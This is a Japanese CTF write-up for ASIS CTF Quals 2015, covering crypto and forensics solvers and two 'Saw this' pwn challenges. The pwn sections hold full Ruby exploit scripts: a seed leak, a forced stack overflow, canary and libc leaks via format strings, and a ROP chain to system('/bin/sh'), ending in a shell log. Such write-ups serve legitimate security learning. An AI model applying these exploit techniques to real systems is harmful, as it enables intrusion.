ASIS CTF Quals 2015 writeup (1/2)
ASIS CTF Quals 2015に参加しました(`・ω・´)
サービス問題2問を含む12問を解いて、1701ptの38位でした(*´ω`*)
バイナリ系がいい感じに解けて成長を感じます。
CryptoとWeb? さぁ知らない子ですねぇ……←
writeup半分まで書いて力尽きたので、とりあえず半分載せておきます……。
追記:後半はこちら charo-it.hatenablog.jp
Simple Algorithm (Crypto:100pt)
暗号化の流れはこんな感じ。
(1) "abcde" ↓ hexにする (2) "6162636465" ↓ 3文字目以降を取り出し…… (3) "62636465" ↓ 16進数とみなして10進数に直す (4) "1650680933" (=0x62636465) ↓ 先頭から2文字ごとに区切り…… (5) [16, 50, 68, 09, 33] ↓ 各要素を10進数とみなしてFAN関数に通す (6) [81, 651, 738, 28, 244] ↓ くっつける (7) 8165173828244
復号は暗号の手順を逆から辿ればOK。
ただし、(4)から(5)への変換において、
例1 (4) "165068339" ↓ (5) [16, 50, 68, 33, 9] 例2 (4) "1650683309" ↓ (5) [16, 50, 68, 33, 09(=9)]
という風に、異なる平文から同じ暗号文が出ることがあることを考慮する必要がある。
以下solver(ちゃっかりRubyに移植してます←)
def fan(n, m) i = 0 z = [] s = 0 while n > 0 if n % 2 != 0 z << (2 - (n % 4)) else z << 0 end n = (n - z[i]) / 2 i += 1 end z = z.reverse l = z.length for i in 0...l s += z[i] * m ** (l - 1 - i) end return s end # FAN(0), FAN(1), ..., FAN(99)を計算し、対応表を作っておく Dictionary = {} (0..99).each{|n| Dictionary[fan(n, 3)] = n } # FAN関数に通す前の値を再帰で探索 def solve(str, result) if str.length == 0 return true end [4, str.length].min.downto(1){|length| if Dictionary.key?(str[0...length].to_i) result.push(Dictionary[str[0...length].to_i]) if solve(str[length..-1], result) return true end result.pop end } return false end answer = 2712733801194381163880124319146586498182192151917719248224681364019142438188097307292437016388011943193619457377217328473027324319178428 result = [] solve(answer.to_s, result) iflag = result.map{|a| sprintf("%02d", a)}.tap{|a| a[-1] = a[-1].to_i.to_s}.join.to_i # 最後の要素が1桁だったのでtap内で調整 hflag = "41" + iflag.to_s(16) # フラグは"ASIS{md5}"のフォーマットなので、最初の文字は"A"(0x41)になるはず flag = [hflag].pack("H*") puts flag # => ASIS{a9ab115c488a311896dac4e8bc20a6d7}
FLAG:ASIS{a9ab115c488a311896dac4e8bc20a6d7}
Broken Heart (Forensics:100pt)
pcapファイル。
1つのファイルをRangeヘッダで分割してダウンロードしているので、データを取り出した後にスクリプトを書いて復元。
#coding:ascii-8bit # ファイルの一覧取得 path = "./files/" files = [] minnum, maxnum = [1 << 31, 0] Dir.foreach(path){|f| if f !~ /\./ from, to = f.split("-").map{|a| a.to_i} minnum = [minnum, from].min maxnum = [maxnum, to].max files << {name: path + f, from: from, to: to} end } data = "" pos = minnum while pos < maxnum # 欲しいデータを含むファイルを探す entry = files.find{|f| f[:from] <= pos && pos <= f[:to]} if !entry puts "Can't find data with ByteNo.#{pos}" exit end content = open(entry[:name], "rb").read data << content[pos - entry[:from] .. -1] pos = entry[:to] + 1 end open("result.bin", "wb").write(data) puts "Done."
先頭13バイトが欠けているが、ファイルの最後にIENDがあり、pngファイルとわかるのでヘッダ追加。
FLAG:ASIS{8bffe21e084db147b32aa850bc65eb16}
Keka Bomb (Forensic:75pt)
謎の7zが渡されるので、とりあえずWinRARで確認すると…… 1つだけチェックサムが違う、というものすごく怪しいファイルがあるので取り出す。
……という作業を繰り返し、最後に残ったファイルの中にフラグがある。
FLAG:ASIS{f974da3203d155826974f4a66735a20b}
Saw this -1 (pwn:100pt)
Cに直すとこんな感じ。
char name[64]; //0x603108 int seed; //0x603148 void generate_seed(){ //0x400c09 seed = rand(); return; } void read_string(char *_buffer, int _length){ //0x400b37 int length = _length; //rbp-0x1c char *buffer = _buffer; //rbp-0x18 int i; //rbp-0x8 int c; //rbp-0x4 for(i = 0; i < length; i++){ //length文字いっぱいまで入力した場合はNULL文字を入れない c = getchar(); if(c == -1){ puts("DO NOT ignore me! GAME OVER!"); exit(0); } if(c == '\n'){ if(i == 0){ i -= 1; continue; } buffer[i] = '\0'; return; }else{ buffer[i] = c; } } } int read_int(){ //0x400c1a int value; //rbp-0x24 char buffer[]; //rbp-0x20 long canary; //rbp-0x8 read_string(buffer, 15); value = atoi(buffer); return value; } double rand_double(){ //0x400bb5 int var_4; //rbp-0x4 var_4 = rand(); //0 ≦ var_4 ≦ 2147483647 return (double)var_4 / 2147483647.0; //0 ≦ result ≦ 1 } int main(){ int j; //rbp-0x6c int var_68; //rbp-0x68 int var_64; //rbp-0x64 char answer[16]; //rbp-0x60 char input[16]; //rbp-0x50 int number_count; //rbp-0x40 int lucky_number; //rbp-0x3c int is_cleared; //rbp-0x38 int i; //rbp-0x34 char c; //rbp-0x30 char *result; //rbp-0x28 long canary; //rbp-0x18 setbuf(stdout, 0); memset(answer, 0, 64); generate_seed(); printf(すごいAA); printf("How can I call you? "); read_string(name, sizeof(name)); printf("Welcome , %s!\n", name); printf("Choose your lucky number (1-100)! But choose wisely, your life depends on it: "); lucky_number = read_int(); if(lucky_number > 100){ puts("You want too much! GAME OVER!"); exit(0); } while(1){ var_68 = seed + lucky_number; srand(var_68); is_cleared = 0; result = "YOU LOST THE GAME! IT'S OVER!"; number_count = (int)(rand_double() * 13.0 + 4.0); printf("I've thought of %d numbers. If you guess them correctly, you are free!\n", number_count); for(i = 0; i < number_count; i++){ answer[i] = (unsigned char)(rand_double() * 256.0); } for(j = 0; j < number_count; j++){ printf("Number #%d: ", j + 1); input[j] = read_int(); var_64 = memcmp(answer, input, 16) == 0; if(!is_cleared && var_64){ is_cleared = 1; result = "YOU WON! You are free now!"; } } printf(result); if(is_cleared != 1){ exit(0); } print_flag1(); while(1){ printf("Do you want to play again (y/n)? "); read_string(&c, 1); if(c == 'n' || c == 'N'){ return; } if(c == 'y' || c == 'Y'){ break; } } } }
数当てゲーム。
システムで生成した乱数(seed
)とユーザが入力した数字(lucky_number
)を足したものを乱数の種にしている。
乱数の種が分かれば、生成される乱数をすべて予測できるので、seed
を何とかできないか考える。
プログラムをよく見ると、
name
の領域のすぐ後ろにseed
があるname
の入力で使われるread_string
関数は、length
バイト入力された場合にバッファの末尾にNULL文字を入れない
という動作になっており、name
入力時に64バイト入力するとname
出力時にseed
がリークできる。
ということで、ターミナルを2つ使い、以下のような感じで攻略した。
[Terminal1 : exploit実行] $ ruby saw.rb [*] connected [*] leak seed seed = 0x6150a1d6 [*] send lucky number Input numbers= (入力待ち) *--------------------ターミナル切り替え--------------------* [Terminal2 : ローカルにてgdbでデバッグ実行中のsaw] (gdb) b *0x400e50 ←srand前とanswer生成後にブレークポイントを張る Breakpoint 1 at 0x400e50 (gdb) b *0x400ee6 Breakpoint 2 at 0x400ee6 (gdb) r (AA略) How can I call you? a Welcome, a! Choose your lucky number (1-100)! But choose wisely, your life depends on it: 1 ←lucky_numberは1にした Breakpoint 1, 0x0000000000400e50 in ?? () 1: x/5i $pc => 0x400e50: call 0x400910 <srand@plt> 0x400e55: mov DWORD PTR [rbp-0x38],0x0 0x400e5c: mov QWORD PTR [rbp-0x28],0x4022bd 0x400e64: mov eax,0x0 0x400e69: call 0x400bb5 (gdb) set $rdi=0x6150a1d6 + 1 ←Terminal1で取得したseed + lucky_numberをsrandの引数としてセット (gdb) c Continuing. I've thought of 10 numbers. If you guess them correctly, you are free! Breakpoint 2, 0x0000000000400ee6 in ?? () 1: x/5i $pc => 0x400ee6: mov DWORD PTR [rbp-0x6c],0x0 0x400eed: jmp 0x400f62 0x400eef: mov eax,DWORD PTR [rbp-0x6c] 0x400ef2: add eax,0x1 0x400ef5: mov esi,eax (gdb) x/16bx $rbp-0x60 ←生成された乱数を表示 0x7fffffffe0f0: 0x2e 0x63 0xf4 0x21 0x34 0xf0 0x4a 0xfd 0x7fffffffe0f8: 0x79 0x03 0x00 0x00 0x00 0x00 0x00 0x00 *--------------------ターミナル切り替え--------------------* [Terminal1] Input numbers= 0x2e 0x63 0xf4 0x21 0x34 0xf0 0x4a 0xfd 0x79 0x03 ←Terminal2で出力した乱数を入力 YOU WON! You are free now! (AA略) Flag 1: ASIS{109096cca8948d1cebee782a11d2472b}
exploitは以下。
#coding:ascii-8bit require_relative "../pwnlib" PwnTube.open("87.107.123.3", 31337){|tube| tube.recv_until("How can I call you?") puts "[*] leak seed" tube.send("A" * 64) seed = tube.recv_until(/Welcome, A{64}..../)[-4..-1].unpack("L")[0] printf("seed = 0x%08x\n", seed) puts "[*] send lucky number" tube.send("1\n") puts "Input numbers=" numbers = gets.chomp.split.map{|a| a.to_i(16)} numbers.each{|n| tube.send("#{n}\n") } tube.interactive(false) }
FLAG:ASIS{109096cca8948d1cebee782a11d2472b}
Saw this -2 (pwn:400pt)
今度はshellを取る方法を考える。
まずは下調べ。
$ checksec.sh --file sawthis RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH sawthis
プログラムを改めてよく見ると、
rand
関数は0~2147483647(境界含む)の乱数を生成するので、rand_double
関数の戻り値は0.0~1.0(境界含む)rand_double
関数の戻り値が1.0になった場合、number_count
は17になるnumber_count
が17になった場合、17回目のinput[j] = read_int();
がnumber_count
の下位1バイト目を上書きしてしまうnumber_count
がコントロールできるので、スタックを盛大に破壊できる
というバッファオーバフローの脆弱性があることがわかる。
従って、
number_count
が17になる(⇔最初の乱数が2147483647になる)ような乱数の種を探す- canary対策
- ASLR対策
という課題をクリアした上でROPを組めばshellが取れる。
1. 乱数の種探し
とりあえずブルートフォースでCPUぶん回してみた。
#include <stdio.h> #include <stdlib.h> int main(){ unsigned int i = 0; while(++i){ srand(i); if(rand() == 0x7fffffff){ printf("%u\n", i); break; } } return 0; }
それっぽい値(肝心の数値は紛失orz)は出たが、その値を乱数の種にしてsawthisで乱数を生成させても2147483647が出てこない(´・ω・`)
調査のためrand
関数のソースを見ると、乱数の生成方法は2通りある模様。
sawthisをgdbでデバッグ実行してsrand
の直後に生成される乱数を調べた結果、今回のプログラムで使われているのは
int32_t val = state[0]; //state[0]は初回のみ乱数の種、2回目以降は前回生成した乱数 val = ((state[0] * 1103515245) + 12345) & 0x7fffffff; state[0] = val; *result = val;
のタイプであることが分かった。
乱数生成の式が分かったので逆算できる気もしたが、めんどくさかったのでブルートフォースで乱数の種を探した。
#include <stdio.h> int main(){ unsigned int i = 0; while(++i){ if((((i * 1103515245) + 12345) & 0x7fffffff) == 0x7fffffff){ printf("%u\n", i); break; } } return 0; } // => 230538014
実際に動かして確認。
(gdb) b *0x400e50 ←srand前にブレークポイントを張る Breakpoint 1 at 0x400e50 (gdb) r (AA略) How can I call you? a Welcome, a! Choose your lucky number (1-100)! But choose wisely, your life depends on it: 1 Breakpoint 1, 0x0000000000400e50 in ?? () 1: x/5i $pc => 0x400e50: call 0x400910 <srand@plt> 0x400e55: mov DWORD PTR [rbp-0x38],0x0 0x400e5c: mov QWORD PTR [rbp-0x28],0x4022bd 0x400e64: mov eax,0x0 0x400e69: call 0x400bb5 (gdb) set $rdi=230538014 ←乱数の種を設定 (gdb) c Continuing. I've thought of 17 numbers. If you guess them correctly, you are free! ←number_countが17になった
seed + lucky_number == 230538014
になるようにlucky_number
を決めれば、確実にバッファオーバフローを起こすことができる。
なお、lucky_number
に100を超える値は設定できないという制約があるが、ほとんどの場合seed > 230538014
になる上、lucky_number
は負数の入力が通るので問題ない。
2. canary対策
数当てゲームの数字を答え終わった後に呼ばれるprintf(result);
を使う。
バッファオーバフローでresult
が指す文字列を"%17$p"
に変えることができれば、format string attackでcanaryの値をリークさせることができる。
"%17$p"
という文字列をどこに置いておくかという問題があるが、今回は常にアドレスが固定になるname
に置くことにした。
3. ASLR対策
ここでもprintf(result);
を使う。
バッファオーバフローでresult
の指すアドレスをGOTにしておくことでlibcのベースアドレスを調べることができる。
実践
課題を全部クリアできたので、あとはやるだけ(`・ω・´)
#coding:ascii-8bit require_relative "../pwnlib" RANDOM_KEY = 230538014 PwnTube.open("87.107.123.3", 31337){|tube| tube.recv_until("How can I call you?") name_address = 0x603108 got_free_address = 0x603018 call_pop_rdi = 0x401073 puts "[*] leak seed" tube.send("[canary=%17$p]".ljust(64, "A")) # canaryリーク用にformat stringを仕込んでおく seed = tube.recv_until(/Welcome, .{64}..../)[-4..-1].unpack("L")[0] printf("seed = 0x%08x\n", seed) lucky_number = RANDOM_KEY - seed if lucky_number > 100 raise "[!] lucky number > 100" end puts "[*] send lucky number" tube.send("#{lucky_number}\n") puts "[*] leak canary" payload = "\x00" * 16 payload << [48].pack("L") # number_count上書き payload << [lucky_number].pack("L") # lucky_numberはそのまま payload << [1].pack("L") # is_clearedフラグを立てる payload << [payload.length].pack("L") # iもそのまま payload << "\x00" * 8 payload << [name_address].pack("Q") # resultはnameに向けておく payload.bytes.each{|b| print "." tube.send("#{b}\n") } puts canary = tube.recv_until(/canary=0x[0-9a-f]{16}/)[-16..-1].to_i(16) puts sprintf("canary=%016x", canary) # retry tube.recv tube.send("y\n") puts "[*] leak libc base" payload = "\x00" * 16 payload << [48].pack("L") payload << [lucky_number].pack("L") payload << [1].pack("L") payload << [payload.length].pack("L") payload << "\x00" * 8 payload << [got_free_address].pack("Q") # 今度はGOTに向ける payload.bytes.each{|b| print "." tube.send("#{b}\n") } puts tube.recv_until('Number #48: ') free_address = tube.recv(8).unpack("Q")[0] & 0x0000ffffffffffff libc_base = free_address - 0x7a920 system_address = libc_base + 0x3fc70 bin_sh_address = libc_base + 0x14bc23 puts sprintf("free = 0x%016x", free_address) puts sprintf("libc base = 0x%016x", libc_base) # retry tube.recv tube.send("y\n") # ROP puts "[*] send rop" payload = "\x00" * 16 payload << [112].pack("L") payload << [lucky_number].pack("L") payload << [1].pack("L") payload << [payload.length].pack("L") payload << "\x00" * 8 payload << [name_address].pack("Q") payload << "\x00" * 8 payload << [canary].pack("Q") payload << "\x00" * 24 payload << [call_pop_rdi, bin_sh_address].pack("Q*") payload << [system_address].pack("Q") payload.bytes.each{|b| print "." tube.send("#{b}\n") } puts puts "[*] trigger" tube.recv tube.send("n\n") tube.interactive }
$ ruby saw2.rb [*] connected [*] leak seed seed = 0x20570587 [*] send lucky number [*] leak canary ................................................ canary=72e3c414079e7b00 [*] leak libc base ................................................ free = 0x00007f097d773920 libc base = 0x00007f097d6f9000 [*] send rop ................................................................................ ................................ [*] trigger [*] interactive mode id uid=1001(flaguser) gid=1001(flaguser) groups=1001(flaguser) ls -la total 52 drwxr-x--- 2 root flaguser 4096 Mar 29 05:22 . drwxr-xr-x 4 root root 4096 Mar 29 05:05 .. -rw-r--r-- 1 root flaguser 220 Mar 29 05:05 .bash_logout -rw-r--r-- 1 root flaguser 3392 Mar 29 05:05 .bashrc -r--r----- 1 root flaguser 84 May 7 00:20 flag -r--r----- 1 root flaguser 4357 May 7 00:20 freedom -rw-r--r-- 1 root flaguser 675 Mar 29 05:05 .profile -rwxr-xr-- 1 root flaguser 14584 Mar 24 06:03 sawthis -rwxr-x--- 1 root flaguser 100 May 7 00:50 wrapper.sh cat flag 7h15_ch4ll3ng3_g4v3_m3_br41n_c4nc3r Flag 2: ASIS{be70e244675b9acd21ac0097d4f9d69b} exit [*] end interactive mode [*] connection closed
FLAG:ASIS{be70e244675b9acd21ac0097d4f9d69b}